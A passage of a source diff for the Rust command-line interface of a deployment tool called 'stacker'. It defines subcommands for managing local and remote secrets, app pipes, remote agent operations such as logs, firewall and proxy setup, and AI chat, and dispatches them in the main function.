"service", "server_id", "body", "body_file"] + )] + file: Option, + /// Remote secret scope + #[arg(long, value_enum)] + scope: Option, + /// Project name or ID for service-scoped secrets (defaults to project.identity in stacker.yml) + #[arg(long, value_name = "PROJECT")] + project: Option, + /// Deployable service/app target code listed by `stacker secrets apps` + #[arg(long, value_name = "TARGET_CODE")] + service: Option, + /// Server ID for server-scoped secrets + #[arg(long, value_name = "SERVER_ID")] + server_id: Option, + /// Inline secret value for remote mode + #[arg(long, value_name = "VALUE", conflicts_with = "body_file")] + body: Option, + /// Read the secret value from a file in remote mode + #[arg(long = "body-file", value_name = "FILE", conflicts_with = "body")] + body_file: Option, + }, + /// Get a local .env secret or remote secret metadata + #[command(after_help = "Examples:\n\ + Local value (masked by default):\n\ + stacker secrets get DB_PASSWORD\n\ +\n\ + Local plaintext value:\n\ + stacker secrets get DB_PASSWORD --show\n\ +\n\ + Remote metadata only:\n\ + stacker secrets get S3_SECRET_KEY --service uploader --json\n\ +\n\ +Remote get is metadata-only in v1 and does not reveal plaintext values.")] + Get { + /// Key name to retrieve + key: String, + /// Path to .env file + #[arg( + long, + value_name = "FILE", + conflicts_with_all = ["scope", "project", "service", "server_id", "json"] + )] + file: Option, + /// Show the actual value instead of masking it + #[arg(long, conflicts_with_all = ["scope", "project", "service", "server_id", "json"])] + show: bool, + /// Remote secret scope + #[arg(long, value_enum)] + scope: Option, + /// Project name or ID for service-scoped secrets (defaults to project.identity in stacker.yml) + #[arg(long, value_name = "PROJECT")] + project: Option, + /// Deployable service/app target code listed by `stacker secrets apps` + #[arg(long, value_name = "TARGET_CODE")] + service: Option, + /// Server ID for server-scoped secrets + #[arg(long, value_name = "SERVER_ID")] + server_id: Option, + /// Output metadata as JSON in remote mode + #[arg(long)] + json: bool, + }, + /// List local .env secrets or remote secret metadata + #[command(after_help = "Examples:\n\ + Local list:\n\ + stacker secrets list\n\ +\n\ + Remote service secrets:\n\ + stacker secrets list --service uploader\n\ +\n\ + Remote server secrets as JSON:\n\ + stacker secrets list --scope server --server-id 42 --json\n\ +\n\ + Remote list returns metadata only in v1.")] + List { + /// Path to .env file + #[arg( + long, + value_name = "FILE", + conflicts_with_all = ["scope", "project", "service", "server_id", "json"] + )] + file: Option, + /// Show actual values (default: mask with ***) + #[arg(long, conflicts_with_all = ["scope", "project", "service", "server_id", "json"])] + show: bool, + /// Remote secret scope + #[arg(long, value_enum)] + scope: Option, + /// Project name or ID for service-scoped secrets (defaults to project.identity in stacker.yml) + #[arg(long, value_name = "PROJECT")] + project: Option, + /// Deployable service/app target code listed by `stacker secrets apps` + #[arg(long, value_name = "TARGET_CODE")] + service: Option, + /// Server ID for server-scoped secrets + #[arg(long, value_name = "SERVER_ID")] + server_id: Option, + /// Output metadata as JSON in remote mode + #[arg(long)] + json: bool, + }, + /// List valid remote deployable service/app target codes (`stacker secrets apps`) + #[command( + visible_alias = "services", + after_help = "Examples:\n\ + List remote target codes using project.identity from stacker.yml:\n\ + stacker secrets apps\n\ + \n\ + Register one local stacker.yml service as a remote target:\n\ + stacker secrets apps register upload\n\ + \n\ + Sync all local stacker.yml services as remote targets:\n\ + stacker secrets apps sync\n\ + \n\ + List remote target codes for a project:\n\ + stacker secrets apps --project blog\n\ + \n\ + Output app metadata as JSON:\n\ + stacker secrets apps --json" + )] + Apps { + #[command(subcommand)] + command: Option, + /// Project name or ID (defaults to project.identity in stacker.yml) + #[arg(long, value_name = "PROJECT")] + project: Option, + /// Output app metadata as JSON + #[arg(long)] + json: bool, + }, + /// Push stored remote secrets for a service/app target into runtime env + #[command( + visible_aliases = ["deploy", "apply"], + after_help = "Examples:\n\ + Push stored remote secrets into the runtime env for a target:\n\ + stacker secrets push --service device-api\n\ +\n\ + Overwrite a drifted remote runtime .env if needed:\n\ + stacker secrets push --service device-api --force\n\ +\n\ +Aliases:\n\ + stacker secrets deploy --service device-api\n\ + stacker secrets apply --service device-api\n\ +\n\ +This does not create or change secret values. Use `stacker secrets set` first." + )] + Push { + /// Deployable service/app target code listed by `stacker secrets apps` + #[arg(long, value_name = "TARGET_CODE")] + service: String, + /// Project name or ID (defaults to project.identity in stacker.yml) + #[arg(long, value_name = "PROJECT")] + project: Option, + /// Overwrite a drifted remote runtime .env and recreate the container + #[arg(long)] + force: bool, + /// Output command result as JSON + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + /// Deploy environment/profile, e.g. local, dev, prod + #[arg(long = "env", alias = "environment", value_name = "ENVIRONMENT")] + environment: Option, + }, + /// Delete a local .env secret or a remote Vault-backed secret + #[command(after_help = "Examples:\n\ + Local delete:\n\ + stacker secrets delete DB_PASSWORD\n\ +\n\ + Remote service secret delete:\n\ + stacker secrets delete S3_SECRET_KEY --service uploader\n\ +\n\ + Remote server secret delete:\n\ + stacker secrets delete NPM_TOKEN --scope server --server-id 42")] + Delete { + /// Key name to delete + key: String, + /// Path to .env file + #[arg( + long, + value_name = "FILE", + conflicts_with_all = ["scope", "project", "service", "server_id"] + )] + file: Option, + /// Remote secret scope + #[arg(long, value_enum)] + scope: Option, + /// Project name or ID for service-scoped secrets (defaults to project.identity in stacker.yml) + #[arg(long, value_name = "PROJECT")] + project: Option, + /// Deployable service/app target code listed by `stacker secrets apps` + #[arg(long, value_name = "TARGET_CODE")] + service: Option, + /// Server ID for server-scoped secrets + #[arg(long, value_name = "SERVER_ID")] + server_id: Option, + }, + /// Validate all ${VAR} references in stacker.yml are set in .env or environment + Validate { + /// Path to stacker.yml (default: ./stacker.yml) + #[arg(long, value_name = "FILE")] + file: Option, + }, +} + +#[derive(Debug, Subcommand)] +enum SecretsAppsCommands { + /// Register one local stacker.yml service as a remote secret target + Register { + /// Local service name from stacker.yml + service: String, + /// Project name or ID (defaults to project.identity in stacker.yml) + #[arg(long, value_name = "PROJECT")] + project: Option, + /// Output registered app metadata as JSON + #[arg(long)] + json: bool, + }, + /// Register/update all local stacker.yml services as remote secret targets + Sync { + /// Project name or ID (defaults to project.identity in stacker.yml) + #[arg(long, value_name = "PROJECT")] + project: Option, + /// Output registered app metadata as JSON + #[arg(long)] + json: bool, + }, +} + +#[derive(Debug, Subcommand)] +enum CiCommands { + /// Export a CI/CD pipeline configuration file + Export { + /// Platform: github, gitlab, bitbucket, jenkins + #[arg(long)] + platform: String, + /// Path to stacker.yml (default: ./stacker.yml) + #[arg(long, value_name = "FILE")] + file: Option, + }, + /// Validate that the CI/CD pipeline is in sync with stacker.yml + Validate { + /// Platform: github, gitlab, bitbucket, jenkins + #[arg(long)] + platform: String, + }, +} + +#[derive(Debug, Subcommand)] +enum PipeCommands { + /// Discover local containers or probe a remote app + Scan { + /// Legacy selector: container filter in local mode, app code in remote mode + #[arg(value_name = "APP_OR_FILTER", hide = true)] + legacy_selector: Option, + /// Explicit remote app selector + #[arg(long, conflicts_with = "containers")] + app: Option, + /// Explicit local container discovery; optional filter when provided + #[arg(long, value_name = "FILTER", num_args = 0..=1, default_missing_value = "*", conflicts_with = "app")] + containers: Option, + /// Narrow the remote app scan to a specific container + #[arg(long, requires = "app")] + container: Option, + /// Protocols to probe (default: openapi,html_forms,rest) + #[arg(long, value_delimiter = ',')] + protocols: Vec, + /// Capture sample responses from discovered endpoints + #[arg(long)] + capture_samples: bool, + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash (auto-detected from lock/config) + #[arg(long)] + deployment: Option, + }, + /// Create a pipe between two apps (interactive) + Create { + /// Source app code + source: String, + /// Target app code + target: String, + /// Skip all auto-matching, manual selection only + #[arg(long)] + manual: bool, + /// Force AI-powered field matching (requires ai: config in stacker.yml) + #[arg(long, conflicts_with = "no_ai")] + ai: bool, + /// Force deterministic field matching (disable AI even if configured) + #[arg(long, conflicts_with = "ai")] + no_ai: bool, + /// Use ML-based field matching (n-gram cosine similarity) + #[arg(long, conflicts_with_all = ["ai", "no_ai"])] + ml: bool, + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, + /// List active pipes for a deployment + List { + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, + /// Activate a pipe instance (start listening for triggers) + Activate { + /// Pipe instance ID (UUID) + pipe_id: String, + /// Trigger type: webhook, poll, or manual + #[arg(long, default_value = "webhook")] + trigger: String, + /// Poll interval in seconds (only for --trigger=poll) + #[arg(long, default_value = "300")] + poll_interval: u32, + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, + /// Deactivate a pipe instance (stop listening) + Deactivate { + /// Pipe instance ID (UUID) + pipe_id: String, + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, + /// Trigger a pipe instance manually (one-shot execution) + Trigger { + /// Pipe instance ID (UUID) + pipe_id: String, + /// Optional JSON input data to feed into the pipe + #[arg(long)] + data: Option, + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, + /// Show execution history for a pipe instance + History { + /// Pipe instance ID (UUID) + instance_id: String, + /// Maximum number of executions to show + #[arg(long, default_value = "20")] + limit: i64, + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, + /// Replay a previous pipe execution using its original input data + Replay { + /// Execution ID (UUID) to replay + execution_id: String, + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, + /// Deploy (promote) a local pipe instance to a remote deployment + Deploy { + /// Local pipe instance ID (UUID) to promote + instance_id: String, + /// Target deployment hash to deploy into + #[arg(long)] + deployment: String, + /// Output in JSON format + #[arg(long)] + json: bool, + }, +} + +#[derive(Debug, Subcommand)] +enum AgentCommands { + /// Check container health on the remote deployment + Health { + /// App code to check (default: all containers) + #[arg(long)] + app: Option, + /// Include system containers (status_panel, compose-agent) + #[arg(long)] + system: bool, + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash (auto-detected from lock/config) + #[arg(long)] + deployment: Option, + }, + /// Fetch container logs from the remote deployment + Logs { + /// App code to fetch logs for (default: statuspanel + statuspanel_agent) + app: Option, + /// Maximum number of log lines + #[arg(long, default_value_t = 400)] + limit: i32, + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, + /// Restart a container on the remote deployment + Restart { + /// App code to restart + app: String, + /// Force restart (stop + start instead of graceful restart) + #[arg(long)] + force: bool, + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, + /// Deploy/update an app container on the remote deployment + #[command(name = "deploy-app")] + DeployApp { + /// App code to deploy + app: String, + /// Docker image to use (overrides compose config) + #[arg(long)] + image: Option, + /// Force recreate the container + #[arg(long)] + force: bool, + /// Container runtime: "runc" (default) or "kata" + #[arg(long, default_value = "runc")] + runtime: String, + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + /// Deploy environment/profile, e.g. local, dev, prod + #[arg(long = "env", alias = "environment", value_name = "ENVIRONMENT")] + environment: Option, + /// Print a read-only deploy-app plan instead of applying changes + #[arg(long)] + plan: bool, + /// Revalidate and apply a previously generated deploy-app plan fingerprint + #[arg(long, value_name = "FINGERPRINT", conflicts_with = "plan")] + apply_plan: Option, + }, + /// Remove an app container from the remote deployment + #[command(name = "remove-app")] + RemoveApp { + /// App code to remove + app: String, + /// Also remove volumes + #[arg(long)] + volumes: bool, + /// Also remove the image + #[arg(long)] + remove_image: bool, + /// Skip the active-connections pre-flight check + #[arg(long)] + force: bool, + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, + /// Configure iptables firewall rules on the remote deployment + #[command(name = "configure-firewall")] + ConfigureFirewall { + /// Action: add, remove, list, flush + #[arg(long, default_value = "add")] + action: String, + /// List current firewall rules (shortcut for --action list) + #[arg(long)] + list: bool, + /// App code for context/logging + #[arg(long)] + app: Option, + /// Public ports (open to all), comma-separated: "80/tcp,443/tcp,53/udp" + #[arg(long, value_delimiter = ',')] + public_ports: Vec, + /// Private ports (restricted), format: "port/proto:source", comma-separated: "5432/tcp:10.0.0.0/8" + #[arg(long, value_delimiter = ',')] + private_ports: Vec, + /// Persist rules across reboots + #[arg(long, default_value_t = true)] + persist: bool, + /// Skip the active-connections pre-flight check + #[arg(long)] + force: bool, + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, + /// Configure reverse proxy for an app + #[command(name = "configure-proxy")] + ConfigureProxy { + /// App code + app: String, + /// Domain name + #[arg(long)] + domain: String, + /// Port to forward to + #[arg(long)] + port: u16, + /// Enable SSL/Let's Encrypt certificate issuance + #[arg(long, default_value_t = true)] + ssl: bool, + /// Disable SSL/Let's Encrypt and create a plain HTTP proxy host + #[arg(long = "no-ssl")] + no_ssl: bool, + /// Action: create, update, delete + #[arg(long, default_value = "create")] + action: String, + /// Skip the active-connections pre-flight check + #[arg(long)] + force: bool, + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, + /// List deployment resources from the agent + #[command(name = "list")] + List { + #[command(subcommand)] + command: AgentListCommands, + }, + /// Show agent and container status for the deployment + Status { + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, + /// Show command history for the deployment + History { + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, + /// Send a raw command to the agent (advanced) + Exec { + /// Command type (e.g. health, logs, restart, deploy_app, etc.) + command_type: String, + /// JSON parameters + #[arg(long)] + params: Option, + /// Timeout in seconds + #[arg(long)] + timeout: Option, + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, + /// Install the Status Panel agent on an existing deployed server + Install { + /// Path to stacker.yml (default: ./stacker.yml) + #[arg(long, value_name = "FILE")] + file: Option, + /// Persist monitoring.status_panel=true back to the local stacker.yml + #[arg(long)] + persist_config: bool, + /// Output in JSON format + #[arg(long)] + json: bool, + }, +} + +#[derive(Debug, Subcommand)] +enum AgentListCommands { + /// List apps deployed for the target deployment + Apps { + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, + /// List containers running on the target server + Containers { + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + }, +} + +/// Arguments for `stacker ai`. +/// Using a separate struct lets `subcommand_required = false` work so +/// bare `stacker ai` launches the interactive chat mode. +#[derive(Debug, Args)] +#[command(subcommand_required = false, arg_required_else_help = false)] +struct AiArgs { + #[command(subcommand)] + command: Option, + /// Write mode: AI may create/edit `stacker.yml` and files under `.stacker/`. + /// Requires a tool-capable model (Ollama: llama3.1/qwen2.5-coder, OpenAI: any). + #[arg(long)] + write: bool, + /// Activate a built-in AI scenario such as `website-deploy`. + #[arg(long, global = true)] + scenario: Option, + /// Select the active scenario step such as `init-validate` or `cloud-deploy`. + #[arg(long, global = true)] + step: Option, +} + +#[derive(Debug, Subcommand)] +enum AiCommands { + /// Ask the AI a question about your stack + Ask { + /// The question to ask + question: String, + /// Path to a file to include as context + #[arg(long)] + context: Option, + /// Interactively configure AI in stacker.yml before asking + #[arg(long)] + configure: bool, + /// Write mode: AI may create/edit `stacker.yml` and files under `.stacker/` + #[arg(long)] + write: bool, + }, +} + +#[derive(Debug, Subcommand)] +enum ProxyCommands { + /// Add a reverse-proxy entry for a domain + Add { + /// Domain name (e.g. example.com) + domain: String, + /// Upstream service address (e.g. http://app:8080) + #[arg(long)] + upstream: Option, + /// SSL mode: auto, manual, off + #[arg(long)] + ssl: Option, + }, + /// Detect existing reverse-proxy containers + Detect { + /// Output as JSON + #[arg(long)] + json: bool, + /// Target a specific deployment by hash + #[arg(long)] + deployment: Option, + }, +} + +fn inferred_remote_secret_scope( + scope: Option, + service: &Option, + server_id: Option, +) -> Option { + scope.or_else(|| { + if service.is_some() { + Some(RemoteSecretScope::Service) + } else if server_id.is_some() { + Some(RemoteSecretScope::Server) + } else { + None + } + }) +} + +fn should_use_remote_secret_set( + scope: Option, + project: &Option, + service: &Option, + server_id: Option, + body: &Option, + body_file: &Option, +) -> bool { + scope.is_some() + || project.is_some() + || service.is_some() + || server_id.is_some() + || body.is_some() + || body_file.is_some() +} + +fn should_use_remote_secret_metadata( + scope: Option, + project: &Option, + service: &Option, + server_id: Option, + json: bool, +) -> bool { + scope.is_some() || project.is_some() || service.is_some() || server_id.is_some() || json +} + +fn active_environment_path(project_dir: &std::path::Path) -> std::path::PathBuf { + project_dir.join(".stacker").join("active-env") +} + +fn read_active_environment( + project_dir: &std::path::Path, +) -> Result, Box> { + let path = active_environment_path(project_dir); + if !path.exists() { + return Ok(None); + } + + let value = std::fs::read_to_string(path)?; + let value = value.trim().to_string(); + if value.is_empty() { + Ok(None) + } else { + Ok(Some(value)) + } +} + +fn write_active_environment( + project_dir: &std::path::Path, + environment: &str, +) -> Result<(), Box> { + let stacker_dir = project_dir.join(".stacker"); + std::fs::create_dir_all(&stacker_dir)?; + std::fs::write( + active_environment_path(project_dir), + format!("{environment}\n"), + )?; + Ok(()) +} + +fn validate_environment_name( + project_dir: &std::path::Path, + environment: &str, +) -> Result<(), Box> { + if environment.trim().is_empty() { + return Err("Environment name cannot be empty".into()); + } + + let config_path = project_dir.join("stacker.yml"); + if !config_path.exists() { + return Ok(()); + } + + let config = stacker::cli::config_parser::StackerConfig::from_file(&config_path)?; + if !config.environments.is_empty() && !config.environments.contains_key(environment) { + let available = config + .environments + .keys() + .cloned() + .collect::>() + .join(", "); + return Err(format!( + "Unknown environment '{environment}'. Available environments: {available}" + ) + .into()); + } + + Ok(()) +} + +fn resolved_config_environment( + project_dir: &std::path::Path, +) -> Result, Box> { + let config_path = project_dir.join("stacker.yml"); + if !config_path.exists() { + return Ok(None); + } + + let active_target = + stacker::cli::deployment_lock::DeploymentLock::read_active_target(project_dir)?; + let config = stacker::cli::config_parser::StackerConfig::from_file(&config_path)? + .with_resolved_deploy_target(active_target.as_deref())?; + + Ok(config.selected_environment(None)) +} + +fn main() -> Result<(), Box> { + let cli = match Cli::try_parse() { + Ok(cli) => cli, + Err(err) => { + use clap::error::ErrorKind; + match err.kind() { + ErrorKind::DisplayHelp => { + print_banner(); + err.print()?; + return Ok(()); + } + ErrorKind::DisplayVersion => { + println!("{}", stacker::version::display_version()); + return Ok(()); + } + _ => { + err.print()?; + std::process::exit(2); + } + } + } + }; + + let Some(subcommand) = cli.command else { + print_banner(); + let mut cmd = Cli::command(); + cmd.print_long_help()?; + println!(); + return Ok(()); + }; + + // Shell completions need access to the CLI Command object directly. + if let StackerCommands::Completion { shell } = subcommand { + let mut cmd = Cli::command(); + clap_complete::generate(shell, &mut cmd, "stacker", &mut std::io::stdout()); + eprintln!(); + eprintln!("# Reload your shell or run: source ~/.zshrc (for zsh)"); + return Ok(()); + } + + // Target switching is filesystem-only, no API needed. + if let StackerCommands::Target { target } = subcommand { + use stacker::cli::deployment_lock::DeploymentLock; + let project_dir = std::env::current_dir()?; + + match target { + Some(t) => { + DeploymentLock::switch_target(&project_dir, &t)?; + eprintln!("✓ Active target switched to: {}", t); + } + None => match DeploymentLock::read_active_target(&project_dir)? { + Some(t) => println!("{}", t), + None => { + eprintln!("No active target set. Use: stacker target "); + } + }, + } + return Ok(()); + } + + if let StackerCommands::Env { environment } = subcommand { + let project_dir = std::env::current_dir()?; + match environment { + Some(environment) => { + validate_environment_name(&project_dir, &environment)?; + write_active_environment(&project_dir, &environment)?; + eprintln!("✓ Active environment switched to: {}", environment); + } + None => { + let active = read_active_environment(&project_dir)?; + let configured = resolved_config_environment(&project_dir)?; + match (active, configured) { + (Some(active), Some(configured)) => { + println!("{}", active); + if active != configured { + eprintln!("Configured default environment: {}", configured); + } + } + (Some(active), None) => println!("{}", active), + (None, Some(configured)) => println!("{}", configured), + (None, None) => { + eprintln!("No active environment set. Use: stacker env "); + } + } + } + } + return Ok(()); + } + + let command = get_command(subcommand)?; + if let Err(err) = command.call() { + eprintln!("Error: {}", err); + std::process::exit(1); + } + Ok(()) +} + +fn get_command( + subcommand: StackerCommands, +) -> Result, Box> { + let cmd: Box = match subcommand { + StackerCommands::Login { + org, + domain, + auth_url, + server_url, + } => Box::new(stacker::console::commands::cli::login::LoginCommand::new( + org, domain, auth_url, server_url, + )), + StackerCommands::Whoami {} => { + Box::new(stacker::console::commands::cli::whoami::WhoamiCommand::new()) + } + StackerCommands::Init { + app_type, + with_proxy, + with_ai, + with_cloud, + target, + ai_provider, + ai_model, + ai_api_key, + } => { + // If --target is specified, set the active target after init + if let Some(ref t) = target { + use stacker::cli::deployment_lock::DeploymentLock; + let project_dir = std::env::current_dir()?; + DeploymentLock::switch_target(&project_dir, t)?; + eprintln!("✓ Active target set to: {}", t); + } + Box::new( + stacker::console::commands::cli::init::InitCommand::new( + app_type, with_proxy, with_ai, with_cloud, + ) + .with_ai_options(ai_provider, ai_model, ai_api_key), + ) + } + StackerCommands::Deploy { + target, + environment, + file, + dry_run, + force_rebuild, + project, + key, + key_id, + server, + watch, + no_watch, + lock, + force_new, + runtime, + plan, + apply_plan, + } => Box::new( + stacker::console::commands::cli::deploy::DeployCommand::new( + target, + file, + dry_run, + force_rebuild, + ) + .with_environment(environment) + .with_remote_overrides(project, key, server) + .with_key_id(key_id) + .with_watch(watch, no_watch) + .with_lock(lock) + .with_force_new(force_new) + .with_runtime(runtime) + .with_plan(plan) + .with_apply_plan(apply_plan), + ), + StackerCommands::Connect { handoff } => { + Box::new(stacker::console::commands::cli::connect::ConnectCommand::new(handoff)) + } + StackerCommands::Logs { + service, + follow, + tail, + since, + } => Box::new(stacker::console::commands::cli::logs::LogsCommand::new( + service, follow, tail, since, + )), + StackerCommands::Status { json, watch } => Box::new( + stacker::console::commands::cli::status::StatusCommand::new(json, watch), + ), + StackerCommands::Deployment { command } => match command { + DeploymentCommands::State { json, deployment } => Box::new( + stacker::console::commands::cli::deployment::DeploymentStateCommand::new( + json, deployment, + ), + ), + DeploymentCommands::Events { json, deployment } => Box::new( + stacker::console::commands::cli::deployment::DeploymentEventsCommand::new( + json, deployment, + ), + ), + DeploymentCommands::Rollback { + to, + plan, + apply_plan, + deployment, + confirm, + } => Box::new( + stacker::console::commands::cli::deployment::DeploymentRollbackCommand::new( + to, plan, apply_plan, confirm, deployment, + ), + ), + }, + StackerCommands::Explain { command } => match command { + ExplainCommands::Env { app, json } => Box::new( + stacker::console::commands::cli::explain::ExplainEnvCommand::new(app, json), + ), + ExplainCommands::Topology { json } => Box::new( + stacker::console::commands::cli::explain::ExplainTopologyCommand::new(json), + ), + }, + StackerCommands::Destroy { volumes, confirm } => Box::new( + stacker::console::commands::cli::destroy::DestroyCommand::new(volumes, confirm), + ), + StackerCommands::Rollback { version, confirm } => Box::new( + stacker::console::commands::cli::rollback::RollbackCommand::new(version, confirm), + ), + StackerCommands::Config { command: cfg_cmd } => match cfg_cmd { + ConfigCommands::Validate { file } => { + Box::new(stacker::console::commands::cli::config::ConfigValidateCommand::new(file)) + } + ConfigCommands::Show { file, resolved } => Box::new( + stacker::console::commands::cli::config::ConfigShowCommand::new(file, resolved), + ), + ConfigCommands::Example => { + Box::new(stacker::console::commands::cli::config::ConfigExampleCommand::new()) + } + ConfigCommands::Fix { file, interactive } => Box::new( + stacker::console::commands::cli::config::ConfigFixCommand::new(file, interactive), + ), + ConfigCommands::Lock { file } => { + Box::new(stacker::console::commands::cli::config::ConfigLockCommand::new(file)) + } + ConfigCommands::Unlock { file } => { + Box::new(stacker::console::commands::cli::config::ConfigUnlockCommand::new(file)) + } + ConfigCommands::Setup { command } => match command { + ConfigSetupCommands::Cloud { file } => Box::new( + stacker::console::commands::cli::config::ConfigSetupCloudCommand::new(file), + ), + ConfigSetupCommands::Ai { + file, + provider, + endpoint, + model, + timeout, + tasks, + } => Box::new( + stacker::console::commands::cli::config::ConfigSetupAiCommand::new( + file, provider, endpoint, model, timeout, tasks, + ), + ), + ConfigSetupCommands::RemotePayload { file, out } => Box::new( + stacker::console::commands::cli::config::ConfigSetupRemotePayloadCommand::new( + file, out, + ), + ), + }, + }, + StackerCommands::Ai(ai_args) => match ai_args.command { + None => Box::new(stacker::console::commands::cli::ai::AiChatCommand::new( + ai_args.write, + ai_args.scenario, + ai_args.step, + )), + Some(AiCommands::Ask { + question, + context, + configure, + write, + }) => Box::new( + stacker::console::commands::cli::ai::AiAskCommand::new(question, context) + .with_configure(configure) + .with_scenario(ai_args.scenario, ai_args.step) + .with_write(ai_args.write || write), + ), + }, + StackerCommands::Proxy { command: proxy_cmd } => match proxy_cmd { + ProxyCommands::Add { + domain, + upstream, + ssl, + } => Box::new( + stacker::console::commands::cli::proxy::ProxyAddCommand::new( + domain, upstream, ssl, false, false, None, + ), + ), + ProxyCommands::Detect { json, deployment } => Box::new( + stacker::console::commands::cli::proxy::ProxyDetectCommand::new(json, deployment), + ), + }, + StackerCommands::List { command: list_cmd } => match list_cmd { + ListCommands::Projects { json } => { + Box::new(stacker::console::commands::cli::list::ListProjectsCommand::new(json)) + } + ListCommands::Deployments { + json, + project, + limit, + } => Box::new( + stacker::console::commands::cli::list::ListDeploymentsCommand::new( + json, project, limit, + ), + ), + ListCommands::Servers { json } => { + Box::new(stacker::console::commands::cli::list::ListServersCommand::new(json)) + } + ListCommands::SshKeys { json } => { + Box::new(stacker::console::commands::cli::list::ListSshKeysCommand::new(json)) + } + ListCommands::Clouds { json } => { + Box::new(stacker::console::commands::cli::list::ListCloudsCommand::new(json)) + } + }, + StackerCommands::SshKey { command: ssh_cmd } => match ssh_cmd { + SshKeyCommands::Generate { server_id, save_to } => Box::new( + stacker::console::commands::cli::ssh_key::SshKeyGenerateCommand::new( + server_id, save_to, + ), + ), + SshKeyCommands::Show { server_id, json } => Box::new( + stacker::console::commands::cli::ssh_key::SshKeyShowCommand::new(server_id, json), + ), + SshKeyCommands::Upload { + server_id, + public_key, + private_key, + } => Box::new( + stacker::console::commands::cli::ssh_key::SshKeyUploadCommand::new( + server_id, + public_key, + private_key, + ), + ), + SshKeyCommands::Inject { + server_id, + with_key, + user, + port, + } => Box::new( + stacker::console::commands::cli::ssh_key::SshKeyInjectCommand::new( + server_id, with_key, user, port, + ), + ), + }, + StackerCommands::Service { command: svc_cmd } => match svc_cmd { + ServiceCommands::Add { name, file } => Box::new( + stacker::console::commands::cli::service::ServiceAddCommand::new(name, file), + ), + ServiceCommands::Import { + name, + from_compose, + from_github, + from_url, + service, + rename, + file, + review, + yes, + json, + } => Box::new( + stacker::console::commands::cli::service::ServiceImportCommand::new( + name, + from_compose, + from_github, + from_url, + service, + rename, + file, + review, + yes, + json, + ), + ), + ServiceCommands::Deploy { + name, + force, + runtime, + json, + deployment, + environment, + plan, + apply_plan, + } => Box::new( + stacker::console::commands::cli::service::ServiceDeployCommand::new( + name, + force, + runtime, + json, + deployment, + environment, + plan, + apply_plan, + ), + ), + ServiceCommands::Remove { name, file } => Box::new( + stacker::console::commands::cli::service::ServiceRemoveCommand::new(name, file), + ), + ServiceCommands::List { online } => { + Box::new(stacker::console::commands::cli::service::ServiceListCommand::new(online)) + } + }, + StackerCommands::Resolve { + confirm, + force, + deployment, + } => Box::new( + stacker::console::commands::cli::resolve::ResolveCommand::new( + confirm, force, deployment, + ), + ), + StackerCommands::Update { channel } => Box::new( + stacker::console::commands::cli::update::UpdateCommand::new(channel), + ), + StackerCommands::Secrets { command: sec_cmd } => match sec_cmd { + SecretsCommands::Set { + input, + file, + scope, + project, + service, + server_id, + body, + body_file, + } => { + if should_use_remote_secret_set( + scope, &project, &service, server_id, &body, &body_file, + ) { + let scope = inferred_remote_secret_scope(scope, &service, server_id) + .unwrap_or(RemoteSecretScope::Service); + Box::new( + stacker::console::commands::cli::secrets::SecretsSetCommand::new_remote( + input, scope, project, service, server_id, body, body_file, + ), + ) + } else { + Box::new( + stacker::console::commands::cli::secrets::SecretsSetCommand::new( + input, file, + ), + ) + } + } + SecretsCommands::Get { + key, + file, + show, + scope, + project, + service, + server_id, + json, + } => { + if should_use_remote_secret_metadata(scope, &project, &service, server_id, json) { + let scope = inferred_remote_secret_scope(scope, &service, server_id) + .unwrap_or(RemoteSecretScope::Service); + Box::new( + stacker::console::commands::cli::secrets::SecretsGetCommand::new_remote( + key, scope, project, service, server_id, json, + ), + ) + } else { + Box::new( + stacker::console::commands::cli::secrets::SecretsGetCommand::new( + key, file, show, + ), + ) + } + } + SecretsCommands::List { + file, + show, + scope, + project, + service, + server_id, + json, + } => { + if should_use_remote_secret_metadata(scope, &project, &service, server_id, json) { + let scope = inferred_remote_secret_scope(scope, &service, server_id) + .unwrap_or(RemoteSecretScope::Service); + Box::new( + stacker::console::commands::cli::secrets::SecretsListCommand::new_remote( + scope, project, service, server_id, json, + ), + ) + } else { + Box::new( + stacker::console::commands::cli::secrets::SecretsListCommand::new( + file, show, + ), + ) + } + } + SecretsCommands::Apps { + command, + project, + json, + } => match command { + Some(SecretsAppsCommands::Register { + service, + project: command_project, + json: command_json, + }) => Box::new( + stacker::console::commands::cli::secrets::SecretsAppsCommand::register( + service, + command_project.or(project), + json || command_json, + ), + ), + Some(SecretsAppsCommands::Sync { + project: command_project, + json: command_json, + }) => Box::new( + stacker::console::commands::cli::secrets::SecretsAppsCommand::sync( + command_project.or(project), + json || command_json, + ), + ), + None => Box::new( + stacker::console::commands::cli::secrets::SecretsAppsCommand::new( + project, json, + ), + ), + }, + SecretsCommands::Push { + service, + project, + force, + json, + deployment, + environment, + } 